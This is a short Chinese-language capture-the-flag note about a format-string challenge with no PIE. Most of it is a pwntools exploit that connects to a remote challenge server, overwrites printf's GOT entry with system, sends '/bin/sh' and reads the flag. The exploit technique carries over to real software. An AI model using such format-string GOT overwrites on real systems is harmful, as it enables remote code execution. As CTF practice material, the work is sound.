太简的没意思,可以怕忘了到哪了,索性把exp按顺序存上。
这个题是个格式化字符串的题,没开pie,程序里有system。
直接把printf改为system就行了
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('111.200.241.244', 49641)
elf = ELF('./pwn')
context(arch='amd64', log_level='debug')
p.sendlineafter(b"3. Exit the battle \n", b'2')
p.sendline(fmtstr_payload(6,{elf.got['printf']: elf.sym['system']}))
p.sendlineafter(b"3. Exit the battle \n", b'2')
p.sendline(b'/bin/sh\x00')
sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()